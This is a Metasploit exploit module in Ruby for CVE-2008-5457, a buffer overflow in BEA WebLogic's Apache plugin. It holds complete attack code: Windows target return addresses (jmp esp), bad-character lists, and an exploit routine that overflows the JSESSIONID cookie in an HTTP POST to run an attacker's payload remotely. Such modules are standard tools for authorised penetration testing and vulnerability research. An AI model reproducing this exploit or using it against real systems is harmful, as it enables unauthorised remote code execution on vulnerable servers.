80 lines
2.1 KiB
Ruby
80 lines
2.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
|
|
code is only accessible when clustering is configured. A request containing a
|
|
long JSESSION cookie value can lead to arbirtary code execution.
|
|
},
|
|
'Author' => 'pusscat',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-5457' ],
|
|
[ 'OSVDB', '51311' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
|
|
{
|
|
'Ret' => 0x1006c9b5, # jmp esp
|
|
}
|
|
],
|
|
[ 'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
|
|
{
|
|
'Ret' => 0x1006c9be, # jmp esp
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DisclosureDate' => 'Jan 13 2009'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80)
|
|
], self.class )
|
|
end
|
|
|
|
def exploit
|
|
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
|
|
sploit[8181, 4] = [target.ret].pack('V')
|
|
sploit[8185, payload.encoded.length] = payload.encoded
|
|
|
|
request =
|
|
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
|
|
sploit +
|
|
"\r\n\r\n"
|
|
|
|
connect
|
|
sock.put(request);
|
|
handler
|
|
|
|
disconnect
|
|
end
|
|
|
|
end
|